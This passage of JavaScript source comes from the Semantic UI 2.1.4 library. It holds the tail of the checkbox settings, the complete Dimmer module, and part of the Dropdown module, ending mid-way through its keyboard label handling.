checkbox : '.ui.checkbox', label : 'label, .box', input : 'input[type="checkbox"], input[type="radio"]', link : 'a[href]' } }; })( jQuery, window , document ); /*! * # Semantic UI 2.1.4 - Dimmer * http://github.com/semantic-org/semantic-ui/ * * * Copyright 2015 Contributors * Released under the MIT license * http://opensource.org/licenses/MIT * */ ;(function ( $, window, document, undefined ) { "use strict"; $.fn.dimmer = function(parameters) { var $allModules = $(this), time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), returnedValue ; $allModules .each(function() { var settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.dimmer.settings, parameters) : $.extend({}, $.fn.dimmer.settings), selector = settings.selector, namespace = settings.namespace, className = settings.className, error = settings.error, eventNamespace = '.' + namespace, moduleNamespace = 'module-' + namespace, moduleSelector = $allModules.selector || '', clickEvent = ('ontouchstart' in document.documentElement) ? 'touchstart' : 'click', $module = $(this), $dimmer, $dimmable, element = this, instance = $module.data(moduleNamespace), module ; module = { preinitialize: function() { if( module.is.dimmer() ) { $dimmable = $module.parent(); $dimmer = $module; } else { $dimmable = $module; if( module.has.dimmer() ) { if(settings.dimmerName) { $dimmer = $dimmable.find(selector.dimmer).filter('.' + settings.dimmerName); } else { $dimmer = $dimmable.find(selector.dimmer); } } else { $dimmer = module.create(); } } }, initialize: function() { module.debug('Initializing dimmer', settings); module.bind.events(); module.set.dimmable(); module.instantiate(); }, instantiate: function() { module.verbose('Storing instance of module', module); instance = module; $module .data(moduleNamespace, instance) ; }, destroy: function() { module.verbose('Destroying previous module', $dimmer); module.unbind.events(); module.remove.variation(); $dimmable .off(eventNamespace) ; }, bind: { events: function() { if(settings.on == 'hover') { $dimmable .on('mouseenter' + eventNamespace, module.show) .on('mouseleave' + eventNamespace, module.hide) ; } else if(settings.on == 'click') { $dimmable .on(clickEvent + eventNamespace, module.toggle) ; } if( module.is.page() ) { module.debug('Setting as a page dimmer', $dimmable); module.set.pageDimmer(); } if( module.is.closable() ) { module.verbose('Adding dimmer close event', $dimmer); $dimmable .on(clickEvent + eventNamespace, selector.dimmer, module.event.click) ; } } }, unbind: { events: function() { $module .removeData(moduleNamespace) ; } }, event: { click: function(event) { module.verbose('Determining if event occured on dimmer', event); if( $dimmer.find(event.target).length === 0 || $(event.target).is(selector.content) ) { module.hide(); event.stopImmediatePropagation(); } } }, addContent: function(element) { var $content = $(element) ; module.debug('Add content to dimmer', $content); if($content.parent()[0] !== $dimmer[0]) { $content.detach().appendTo($dimmer); } }, create: function() { var $element = $( settings.template.dimmer() ) ; if(settings.variation) { module.debug('Creating dimmer with variation', settings.variation); $element.addClass(settings.variation); } if(settings.dimmerName) { module.debug('Creating named dimmer', settings.dimmerName); $element.addClass(settings.dimmerName); } $element .appendTo($dimmable) ; return $element; }, show: function(callback) { callback = $.isFunction(callback) ? callback : function(){} ; module.debug('Showing dimmer', $dimmer, settings); if( (!module.is.dimmed() || module.is.animating()) && module.is.enabled() ) { module.animate.show(callback); settings.onShow.call(element); settings.onChange.call(element); } else { module.debug('Dimmer is already shown or disabled'); } }, hide: function(callback) { callback = $.isFunction(callback) ? callback : function(){} ; if( module.is.dimmed() || module.is.animating() ) { module.debug('Hiding dimmer', $dimmer); module.animate.hide(callback); settings.onHide.call(element); settings.onChange.call(element); } else { module.debug('Dimmer is not visible'); } }, toggle: function() { module.verbose('Toggling dimmer visibility', $dimmer); if( !module.is.dimmed() ) { module.show(); } else { module.hide(); } }, animate: { show: function(callback) { callback = $.isFunction(callback) ? callback : function(){} ; if(settings.useCSS && $.fn.transition !== undefined && $dimmer.transition('is supported')) { if(settings.opacity !== 'auto') { module.set.opacity(); } $dimmer .transition({ animation : settings.transition + ' in', queue : false, duration : module.get.duration(), useFailSafe : true, onStart : function() { module.set.dimmed(); }, onComplete : function() { module.set.active(); callback(); } }) ; } else { module.verbose('Showing dimmer animation with javascript'); module.set.dimmed(); if(settings.opacity == 'auto') { settings.opacity = 0.8; } $dimmer .stop() .css({ opacity : 0, width : '100%', height : '100%' }) .fadeTo(module.get.duration(), settings.opacity, function() { $dimmer.removeAttr('style'); module.set.active(); callback(); }) ; } }, hide: function(callback) { callback = $.isFunction(callback) ? callback : function(){} ; if(settings.useCSS && $.fn.transition !== undefined && $dimmer.transition('is supported')) { module.verbose('Hiding dimmer with css'); $dimmer .transition({ animation : settings.transition + ' out', queue : false, duration : module.get.duration(), useFailSafe : true, onStart : function() { module.remove.dimmed(); }, onComplete : function() { module.remove.active(); callback(); } }) ; } else { module.verbose('Hiding dimmer with javascript'); module.remove.dimmed(); $dimmer .stop() .fadeOut(module.get.duration(), function() { module.remove.active(); $dimmer.removeAttr('style'); callback(); }) ; } } }, get: { dimmer: function() { return $dimmer; }, duration: function() { if(typeof settings.duration == 'object') { if( module.is.active() ) { return settings.duration.hide; } else { return settings.duration.show; } } return settings.duration; } }, has: { dimmer: function() { if(settings.dimmerName) { return ($module.find(selector.dimmer).filter('.' + settings.dimmerName).length > 0); } else { return ( $module.find(selector.dimmer).length > 0 ); } } }, is: { active: function() { return $dimmer.hasClass(className.active); }, animating: function() { return ( $dimmer.is(':animated') || $dimmer.hasClass(className.animating) ); }, closable: function() { if(settings.closable == 'auto') { if(settings.on == 'hover') { return false; } return true; } return settings.closable; }, dimmer: function() { return $module.hasClass(className.dimmer); }, dimmable: function() { return $module.hasClass(className.dimmable); }, dimmed: function() { return $dimmable.hasClass(className.dimmed); }, disabled: function() { return $dimmable.hasClass(className.disabled); }, enabled: function() { return !module.is.disabled(); }, page: function () { return $dimmable.is('body'); }, pageDimmer: function() { return $dimmer.hasClass(className.pageDimmer); } }, can: { show: function() { return !$dimmer.hasClass(className.disabled); } }, set: { opacity: function(opacity) { var color = $dimmer.css('background-color'), colorArray = color.split(','), isRGBA = (colorArray && colorArray.length == 4) ; opacity = settings.opacity || opacity; if(isRGBA) { colorArray[3] = opacity + ')'; color = colorArray.join(','); } else { color = 'rgba(0, 0, 0, ' + opacity + ')'; } module.debug('Setting opacity to', opacity); $dimmer.css('background-color', color); }, active: function() { $dimmer.addClass(className.active); }, dimmable: function() { $dimmable.addClass(className.dimmable); }, dimmed: function() { $dimmable.addClass(className.dimmed); }, pageDimmer: function() { $dimmer.addClass(className.pageDimmer); }, disabled: function() { $dimmer.addClass(className.disabled); }, variation: function(variation) { variation = variation || settings.variation; if(variation) { $dimmer.addClass(variation); } } }, remove: { active: function() { $dimmer .removeClass(className.active) ; }, dimmed: function() { $dimmable.removeClass(className.dimmed); }, disabled: function() { $dimmer.removeClass(className.disabled); }, variation: function(variation) { variation = variation || settings.variation; if(variation) { $dimmer.removeClass(variation); } } }, setting: function(name, value) { module.debug('Changing setting', name, value); if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { settings[name] = value; } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if($allModules.length > 1) { title += ' ' + '(' + $allModules.length + ')'; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { module.error(error.method, query); return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; module.preinitialize(); if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.dimmer.settings = { name : 'Dimmer', namespace : 'dimmer', debug : false, verbose : false, performance : true, // name to distinguish between multiple dimmers in context dimmerName : false, // whether to add a variation type variation : false, // whether to bind close events closable : 'auto', // whether to use css animations useCSS : true, // css animation to use transition : 'fade', // event to bind to on : false, // overriding opacity value opacity : 'auto', // transition durations duration : { show : 500, hide : 500 }, onChange : function(){}, onShow : function(){}, onHide : function(){}, error : { method : 'The method you called is not defined.' }, className : { active : 'active', animating : 'animating', dimmable : 'dimmable', dimmed : 'dimmed', dimmer : 'dimmer', disabled : 'disabled', hide : 'hide', pageDimmer : 'page', show : 'show' }, selector: { dimmer : '> .ui.dimmer', content : '.ui.dimmer > .content, .ui.dimmer > .content > .center' }, template: { dimmer: function() { return $('<div />').attr('class', 'ui dimmer'); } } }; })( jQuery, window , document ); /*! * # Semantic UI 2.1.4 - Dropdown * http://github.com/semantic-org/semantic-ui/ * * * Copyright 2015 Contributors * Released under the MIT license * http://opensource.org/licenses/MIT * */ ;(function ( $, window, document, undefined ) { "use strict"; $.fn.dropdown = function(parameters) { var $allModules = $(this), $document = $(document), moduleSelector = $allModules.selector || '', hasTouch = ('ontouchstart' in document.documentElement), time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), returnedValue ; $allModules .each(function(elementIndex) { var settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.dropdown.settings, parameters) : $.extend({}, $.fn.dropdown.settings), className = settings.className, message = settings.message, fields = settings.fields, metadata = settings.metadata, namespace = settings.namespace, regExp = settings.regExp, selector = settings.selector, error = settings.error, templates = settings.templates, eventNamespace = '.' + namespace, moduleNamespace = 'module-' + namespace, $module = $(this), $context = $(settings.context), $text = $module.find(selector.text), $search = $module.find(selector.search), $input = $module.find(selector.input), $icon = $module.find(selector.icon), $combo = ($module.prev().find(selector.text).length > 0) ? $module.prev().find(selector.text) : $module.prev(), $menu = $module.children(selector.menu), $item = $menu.find(selector.item), activated = false, itemActivated = false, internalChange = false, element = this, instance = $module.data(moduleNamespace), initialLoad, pageLostFocus, elementNamespace, id, selectObserver, menuObserver, module ; module = { initialize: function() { module.debug('Initializing dropdown', settings); if( module.is.alreadySetup() ) { module.setup.reference(); } else { module.setup.layout(); module.refreshData(); module.save.defaults(); module.restore.selected(); module.create.id(); module.bind.events(); module.observeChanges(); module.instantiate(); } }, instantiate: function() { module.verbose('Storing instance of dropdown', module); instance = module; $module .data(moduleNamespace, module) ; }, destroy: function() { module.verbose('Destroying previous dropdown', $module); module.remove.tabbable(); $module .off(eventNamespace) .removeData(moduleNamespace) ; $menu .off(eventNamespace) ; $document .off(elementNamespace) ; if(selectObserver) { selectObserver.disconnect(); } if(menuObserver) { menuObserver.disconnect(); } }, observeChanges: function() { if('MutationObserver' in window) { selectObserver = new MutationObserver(function(mutations) { module.debug('<select> modified, recreating menu'); module.setup.select(); }); menuObserver = new MutationObserver(function(mutations) { module.debug('Menu modified, updating selector cache'); module.refresh(); }); if(module.has.input()) { selectObserver.observe($input[0], { childList : true, subtree : true }); } if(module.has.menu()) { menuObserver.observe($menu[0], { childList : true, subtree : true }); } module.debug('Setting up mutation observer', selectObserver, menuObserver); } }, create: { id: function() { id = (Math.random().toString(16) + '000000000').substr(2, 8); elementNamespace = '.' + id; module.verbose('Creating unique id for element', id); }, userChoice: function(values) { var $userChoices, $userChoice, isUserValue, html ; values = values || module.get.userValues(); if(!values) { return false; } values = $.isArray(values) ? values : [values] ; $.each(values, function(index, value) { if(module.get.item(value) === false) { html = settings.templates.addition( module.add.variables(message.addResult, value) ); $userChoice = $('<div />') .html(html) .attr('data-' + metadata.value, value) .attr('data-' + metadata.text, value) .addClass(className.addition) .addClass(className.item) ; $userChoices = ($userChoices === undefined) ? $userChoice : $userChoices.add($userChoice) ; module.verbose('Creating user choices for value', value, $userChoice); } }); return $userChoices; }, userLabels: function(value) { var userValues = module.get.userValues() ; if(userValues) { module.debug('Adding user labels', userValues); $.each(userValues, function(index, value) { module.verbose('Adding custom user value'); module.add.label(value, value); }); } }, menu: function() { $menu = $('<div />') .addClass(className.menu) .appendTo($module) ; } }, search: function(query) { query = (query !== undefined) ? query : module.get.query() ; module.verbose('Searching for query', query); module.filter(query); }, select: { firstUnfiltered: function() { module.verbose('Selecting first non-filtered element'); module.remove.selectedItem(); $item .not(selector.unselectable) .eq(0) .addClass(className.selected) ; }, nextAvailable: function($selected) { $selected = $selected.eq(0); var $nextAvailable = $selected.nextAll(selector.item).not(selector.unselectable).eq(0), $prevAvailable = $selected.prevAll(selector.item).not(selector.unselectable).eq(0), hasNext = ($nextAvailable.length > 0) ; if(hasNext) { module.verbose('Moving selection to', $nextAvailable); $nextAvailable.addClass(className.selected); } else { module.verbose('Moving selection to', $prevAvailable); $prevAvailable.addClass(className.selected); } } }, setup: { api: function() { var apiSettings = { debug : settings.debug, on : false } ; module.verbose('First request, initializing API'); $module .api(apiSettings) ; }, layout: function() { if( $module.is('select') ) { module.setup.select(); module.setup.returnedObject(); } if( !module.has.menu() ) { module.create.menu(); } if( module.is.search() && !module.has.search() ) { module.verbose('Adding search input'); $search = $('<input />') .addClass(className.search) .insertBefore($text) ; } if(settings.allowTab) { module.set.tabbable(); } }, select: function() { var selectValues = module.get.selectValues() ; module.debug('Dropdown initialized on a select', selectValues); if( $module.is('select') ) { $input = $module; } // see if select is placed correctly already if($input.parent(selector.dropdown).length > 0) { module.debug('UI dropdown already exists. Creating dropdown menu only'); $module = $input.closest(selector.dropdown); if( !module.has.menu() ) { module.create.menu(); } $menu = $module.children(selector.menu); module.setup.menu(selectValues); } else { module.debug('Creating entire dropdown from select'); $module = $('<div />') .attr('class', $input.attr('class') ) .addClass(className.selection) .addClass(className.dropdown) .html( templates.dropdown(selectValues) ) .insertBefore($input) ; if($input.hasClass(className.multiple) && $input.prop('multiple') === false) { module.error(error.missingMultiple); $input.prop('multiple', true); } if($input.is('[multiple]')) { module.set.multiple(); } if ($input.prop('disabled')) { module.debug('Disabling dropdown') $module.addClass(className.disabled) } $input .removeAttr('class') .detach() .prependTo($module) ; } module.refresh(); }, menu: function(values) { $menu.html( templates.menu(values, fields)); $item = $menu.find(selector.item); }, reference: function() { module.debug('Dropdown behavior was called on select, replacing with closest dropdown'); // replace module reference $module = $module.parent(selector.dropdown); module.refresh(); module.setup.returnedObject(); // invoke method in context of current instance if(methodInvoked) { instance = module; module.invoke(query); } }, returnedObject: function() { var $firstModules = $allModules.slice(0, elementIndex), $lastModules = $allModules.slice(elementIndex + 1) ; // adjust all modules to use correct reference $allModules = $firstModules.add($module).add($lastModules); } }, refresh: function() { module.refreshSelectors(); module.refreshData(); }, refreshSelectors: function() { module.verbose('Refreshing selector cache'); $text = $module.find(selector.text); $search = $module.find(selector.search); $input = $module.find(selector.input); $icon = $module.find(selector.icon); $combo = ($module.prev().find(selector.text).length > 0) ? $module.prev().find(selector.text) : $module.prev() ; $menu = $module.children(selector.menu); $item = $menu.find(selector.item); }, refreshData: function() { module.verbose('Refreshing cached metadata'); $item .removeData(metadata.text) .removeData(metadata.value) ; $module .removeData(metadata.defaultText) .removeData(metadata.defaultValue) .removeData(metadata.placeholderText) ; }, toggle: function() { module.verbose('Toggling menu visibility'); if( !module.is.active() ) { module.show(); } else { module.hide(); } }, show: function(callback) { callback = $.isFunction(callback) ? callback : function(){} ; if( module.can.show() && !module.is.active() ) { module.debug('Showing dropdown'); if(module.is.multiple() && !module.has.search() && module.is.allFiltered()) { return true; } if(module.has.message() && !module.has.maxSelections()) { module.remove.message(); } if(settings.onShow.call(element) !== false) { module.animate.show(function() { if( module.can.click() ) { module.bind.intent(); } module.set.visible(); callback.call(element); }); } } }, hide: function(callback) { callback = $.isFunction(callback) ? callback : function(){} ; if( module.is.active() ) { module.debug('Hiding dropdown'); if(settings.onHide.call(element) !== false) { module.animate.hide(function() { module.remove.visible(); callback.call(element); }); } } }, hideOthers: function() { module.verbose('Finding other dropdowns to hide'); $allModules .not($module) .has(selector.menu + '.' + className.visible) .dropdown('hide') ; }, hideMenu: function() { module.verbose('Hiding menu instantaneously'); module.remove.active(); module.remove.visible(); $menu.transition('hide'); }, hideSubMenus: function() { var $subMenus = $menu.children(selector.item).find(selector.menu) ; module.verbose('Hiding sub menus', $subMenus); $subMenus.transition('hide'); }, bind: { events: function() { if(hasTouch) { module.bind.touchEvents(); } module.bind.keyboardEvents(); module.bind.inputEvents(); module.bind.mouseEvents(); }, touchEvents: function() { module.debug('Touch device detected binding additional touch events'); if( module.is.searchSelection() ) { // do nothing special yet } else if( module.is.single() ) { $module .on('touchstart' + eventNamespace, module.event.test.toggle) ; } $menu .on('touchstart' + eventNamespace, selector.item, module.event.item.mouseenter) ; }, keyboardEvents: function() { module.verbose('Binding keyboard events'); $module .on('keydown' + eventNamespace, module.event.keydown) ; if( module.has.search() ) { $module .on(module.get.inputEvent() + eventNamespace, selector.search, module.event.input) ; } if( module.is.multiple() ) { $document .on('keydown' + elementNamespace, module.event.document.keydown) ; } }, inputEvents: function() { module.verbose('Binding input change events'); $module .on('change' + eventNamespace, selector.input, module.event.change) ; }, mouseEvents: function() { module.verbose('Binding mouse events'); if(module.is.multiple()) { $module .on('click' + eventNamespace, selector.label, module.event.label.click) .on('click' + eventNamespace, selector.remove, module.event.remove.click) ; } if( module.is.searchSelection() ) { $module .on('mousedown' + eventNamespace, selector.menu, module.event.menu.mousedown) .on('mouseup' + eventNamespace, selector.menu, module.event.menu.mouseup) .on('click' + eventNamespace, selector.icon, module.event.icon.click) .on('click' + eventNamespace, selector.search, module.show) .on('focus' + eventNamespace, selector.search, module.event.search.focus) .on('blur' + eventNamespace, selector.search, module.event.search.blur) .on('click' + eventNamespace, selector.text, module.event.text.focus) ; if(module.is.multiple()) { $module .on('click' + eventNamespace, module.event.click) ; } } else { if(settings.on == 'click') { $module .on('click' + eventNamespace, selector.icon, module.event.icon.click) .on('click' + eventNamespace, module.event.test.toggle) ; } else if(settings.on == 'hover') { $module .on('mouseenter' + eventNamespace, module.delay.show) .on('mouseleave' + eventNamespace, module.delay.hide) ; } else { $module .on(settings.on + eventNamespace, module.toggle) ; } $module .on('mousedown' + eventNamespace, module.event.mousedown) .on('mouseup' + eventNamespace, module.event.mouseup) .on('focus' + eventNamespace, module.event.focus) .on('blur' + eventNamespace, module.event.blur) ; } $menu .on('mouseenter' + eventNamespace, selector.item, module.event.item.mouseenter) .on('mouseleave' + eventNamespace, selector.item, module.event.item.mouseleave) .on('click' + eventNamespace, selector.item, module.event.item.click) ; }, intent: function() { module.verbose('Binding hide intent event to document'); if(hasTouch) { $document .on('touchstart' + elementNamespace, module.event.test.touch) .on('touchmove' + elementNamespace, module.event.test.touch) ; } $document .on('click' + elementNamespace, module.event.test.hide) ; } }, unbind: { intent: function() { module.verbose('Removing hide intent event from document'); if(hasTouch) { $document .off('touchstart' + elementNamespace) .off('touchmove' + elementNamespace) ; } $document .off('click' + elementNamespace) ; } }, filter: function(query) { var searchTerm = (query !== undefined) ? query : module.get.query(), afterFiltered = function() { if(module.is.multiple()) { module.filterActive(); } module.select.firstUnfiltered(); if( module.has.allResultsFiltered() ) { if( settings.onNoResults.call(element, searchTerm) ) { if(!settings.allowAdditions) { module.verbose('All items filtered, showing message', searchTerm); module.add.message(message.noResults); } } else { module.verbose('All items filtered, hiding dropdown', searchTerm); module.hideMenu(); } } else { module.remove.message(); } if(settings.allowAdditions) { module.add.userSuggestion(query); } if(module.is.searchSelection() && module.can.show() && module.is.focusedOnSearch() ) { module.show(); } } ; if(settings.useLabels && module.has.maxSelections()) { return; } if(settings.apiSettings) { if( module.can.useAPI() ) { module.queryRemote(searchTerm, function() { afterFiltered(); }); } else { module.error(error.noAPI); } } else { module.filterItems(searchTerm); afterFiltered(); } }, queryRemote: function(query, callback) { var apiSettings = { errorDuration : false, throttle : settings.throttle, urlData : { query: query }, onError: function() { module.add.message(message.serverError); callback(); }, onFailure: function() { module.add.message(message.serverError); callback(); }, onSuccess : function(response) { module.remove.message(); module.setup.menu({ values: response.results }); callback(); } } ; if( !$module.api('get request') ) { module.setup.api(); } apiSettings = $.extend(true, {}, apiSettings, settings.apiSettings); $module .api('setting', apiSettings) .api('query') ; }, filterItems: function(query) { var searchTerm = (query !== undefined) ? query : module.get.query(), $results = $(), escapedTerm = module.escape.regExp(searchTerm), beginsWithRegExp = new RegExp('^' + escapedTerm, 'igm') ; // avoid loop if we're matching nothing if( !module.has.query() ) { $results = $item; } else { module.verbose('Searching for matching values', searchTerm); $item .each(function(){ var $choice = $(this), text, value ; if(settings.match == 'both' || settings.match == 'text') { text = String(module.get.choiceText($choice, false)); if(text.search(beginsWithRegExp) !== -1) { $results = $results.add($choice); return true; } else if(settings.fullTextSearch && module.fuzzySearch(searchTerm, text)) { $results = $results.add($choice); return true; } } if(settings.match == 'both' || settings.match == 'value') { value = String(module.get.choiceValue($choice, text)); if(value.search(beginsWithRegExp) !== -1) { $results = $results.add($choice); return true; } else if(settings.fullTextSearch && module.fuzzySearch(searchTerm, value)) { $results = $results.add($choice); return true; } } }) ; } module.debug('Showing only matched items', searchTerm); module.remove.filteredItem(); $item .not($results) .addClass(className.filtered) ; }, fuzzySearch: function(query, term) { var termLength = term.length, queryLength = query.length ; query = query.toLowerCase(); term = term.toLowerCase(); if(queryLength > termLength) { return false; } if(queryLength === termLength) { return (query === term); } search: for (var characterIndex = 0, nextCharacterIndex = 0; characterIndex < queryLength; characterIndex++) { var queryCharacter = query.charCodeAt(characterIndex) ; while(nextCharacterIndex < termLength) { if(term.charCodeAt(nextCharacterIndex++) === queryCharacter) { continue search; } } return false; } return true; }, filterActive: function() { if(settings.useLabels) { $item.filter('.' + className.active) .addClass(className.filtered) ; } }, focusSearch: function() { if( module.is.search() && !module.is.focusedOnSearch() ) { $search[0].focus(); } }, forceSelection: function() { var $currentlySelected = $item.not(className.filtered).filter('.' + className.selected).eq(0), $activeItem = $item.not(className.filtered).filter('.' + className.active).eq(0), $selectedItem = ($currentlySelected.length > 0) ? $currentlySelected : $activeItem, hasSelected = ($selectedItem.size() > 0) ; if( hasSelected && module.has.query() ) { module.debug('Forcing partial selection to selected item', $selectedItem); module.event.item.click.call($selectedItem); } else { module.hide(); } }, event: { change: function() { if(!internalChange) { module.debug('Input changed, updating selection'); module.set.selected(); } }, focus: function() { if(settings.showOnFocus && !activated && module.is.hidden() && !pageLostFocus) { module.show(); } }, click: function(event) { var $target = $(event.target) ; // focus search if($target.is($module) && !module.is.focusedOnSearch()) { module.focusSearch(); } }, blur: function(event) { pageLostFocus = (document.activeElement === this); if(!activated && !pageLostFocus) { module.remove.activeLabel(); module.hide(); } }, // prevents focus callback from occurring on mousedown mousedown: function() { activated = true; }, mouseup: function() { activated = false; }, search: { focus: function() { activated = true; if(module.is.multiple()) { module.remove.activeLabel(); } if(settings.showOnFocus) { module.show(); } }, blur: function(event) { pageLostFocus = (document.activeElement === this); if(!itemActivated && !pageLostFocus) { if(module.is.multiple()) { module.remove.activeLabel(); module.hide(); } else if(settings.forceSelection) { module.forceSelection(); } else { module.hide(); } } else if(pageLostFocus) { if(settings.forceSelection) { module.forceSelection(); } } } }, icon: { click: function(event) { module.toggle(); event.stopPropagation(); } }, text: { focus: function(event) { activated = true; module.focusSearch(); } }, input: function(event) { if(module.is.multiple() || module.is.searchSelection()) { module.set.filtered(); } clearTimeout(module.timer); module.timer = setTimeout(module.search, settings.delay.search); }, label: { click: function(event) { var $label = $(this), $labels = $module.find(selector.label), $activeLabels = $labels.filter('.' + className.active), $nextActive = $label.nextAll('.' + className.active), $prevActive = $label.prevAll('.' + className.active), $range = ($nextActive.length > 0) ? $label.nextUntil($nextActive).add($activeLabels).add($label) : $label.prevUntil($prevActive).add($activeLabels).add($label) ; if(event.shiftKey) { $activeLabels.removeClass(className.active); $range.addClass(className.active); } else if(event.ctrlKey) { $label.toggleClass(className.active); } else { $activeLabels.removeClass(className.active); $label.addClass(className.active); } settings.onLabelSelect.apply(this, $labels.filter('.' + className.active)); } }, remove: { click: function() { var $label = $(this).parent() ; if( $label.hasClass(className.active) ) { // remove all selected labels module.remove.activeLabels(); } else { // remove this label only module.remove.activeLabels( $label ); } } }, test: { toggle: function(event) { var toggleBehavior = (module.is.multiple()) ? module.show : module.toggle ; if( module.determine.eventOnElement(event, toggleBehavior) ) { event.preventDefault(); } }, touch: function(event) { module.determine.eventOnElement(event, function() { if(event.type == 'touchstart') { module.timer = setTimeout(function() { module.hide(); }, settings.delay.touch); } else if(event.type == 'touchmove') { clearTimeout(module.timer); } }); event.stopPropagation(); }, hide: function(event) { module.determine.eventInModule(event, module.hide); } }, menu: { mousedown: function() { itemActivated = true; }, mouseup: function() { itemActivated = false; } }, item: { mouseenter: function(event) { var $subMenu = $(this).children(selector.menu), $otherMenus = $(this).siblings(selector.item).children(selector.menu) ; if( $subMenu.length > 0 ) { clearTimeout(module.itemTimer); module.itemTimer = setTimeout(function() { module.verbose('Showing sub-menu', $subMenu); $.each($otherMenus, function() { module.animate.hide(false, $(this)); }); module.animate.show(false, $subMenu); }, settings.delay.show); event.preventDefault(); } }, mouseleave: function(event) { var $subMenu = $(this).children(selector.menu) ; if($subMenu.length > 0) { clearTimeout(module.itemTimer); module.itemTimer = setTimeout(function() { module.verbose('Hiding sub-menu', $subMenu); module.animate.hide(false, $subMenu); }, settings.delay.hide); } }, touchend: function() { }, click: function (event) { var $choice = $(this), $target = (event) ? $(event.target) : $(''), $subMenu = $choice.find(selector.menu), text = module.get.choiceText($choice), value = module.get.choiceValue($choice, text), hasSubMenu = ($subMenu.length > 0), isBubbledEvent = ($subMenu.find($target).length > 0) ; if(!isBubbledEvent && (!hasSubMenu || settings.allowCategorySelection)) { if(!settings.useLabels) { module.remove.filteredItem(); module.remove.searchTerm(); module.set.scrollPosition($choice); } module.determine.selectAction.call(this, text, value); } } }, document: { // label selection should occur even when element has no focus keydown: function(event) { var pressedKey = event.which, keys = module.get.shortcutKeys(), isShortcutKey = module.is.inObject(pressedKey, keys) ; if(isShortcutKey) { var $label = $module.find(selector.label), $activeLabel = $label.filter('.' + className.active), activeValue = $activeLabel.data(metadata.value), labelIndex = $label.index($activeLabel), labelCount = $label.length, hasActiveLabel = ($activeLabel.length > 0), hasMultipleActive = ($activeLabel.length > 1), isFirstLabel = (labelIndex === 0), isLastLabel = (labelIndex + 1 == labelCount), isSearch = module.is.searchSelection(), isFocusedOnSearch = module.is.focusedOnSearch(), isFocused = module.is.focused(), caretAtStart = (isFocusedOnSearch && module.get.caretPosition() === 0), $nextLabel ; if(isSearch && !hasActiveLabel && !isFocusedOnSearch) { return; } if(pressedKey == keys.leftArrow) { // activate previous label if((isFocused || caretAtStart) && !hasActiveLabel) { module.verbose('Selecting previous label'); $label.last().addClass(className.active); } else if(hasActiveLabel) { if(!event.shiftKey) { module.verbose('Selecting previous label'); $label.removeClass(className.active); } else { module.verbose('Adding previous label to selection'); } if(isFirstLabel && !hasMultipleActive) { $activeLabel.addClass(className.active); } else { $activeLabel.prev(selector.siblingLabel) .addClass(className.active) .end() ; } event.preventDefault(); } } else if(pressedKey == keys.rightArrow) { // activate first label if(isFocused && !hasActiveLabel) { $label.first().addClass(className.active); } // activate next label if(hasActiveLabel) { if(!event.shiftKey) { module.verbose('Selecting next label'); $label.removeClass(className.active); } else { module.verbose('Adding next label to selection'); } if(isLastLabel) { if(isSearch) { if(!isFocusedOnSearch) { module.focusSearch(); } else { $label.removeClass(className.active); } } else if(hasMultipleActive) { $activeLabel.next(selector.siblingLabel).addClass(className.active); } else { $activeLabel.addClass(className.active); } } else { $activeLabel.next(selector.siblingLabel).addClass(className.active); } event.preventDefault(); } } else if(pressedKey == keys.deleteKey || pressedKey == keys.backspace) { if(hasActiveLabel) { module.verbose('Removing active labels'); if(isLastLabel) { if(isSearch && !isFocusedOnSearch) { module.focusSearch(); } } $activeLabel.last().next(selector.siblingLabel).addClass(className.active); module.remove.activeLabels($activeLabel); event.preventDefault(); } else if(caretAtStart && !hasActiveLabel && pressedKey == keys.backspace) { module.verbose('Removing last label on input 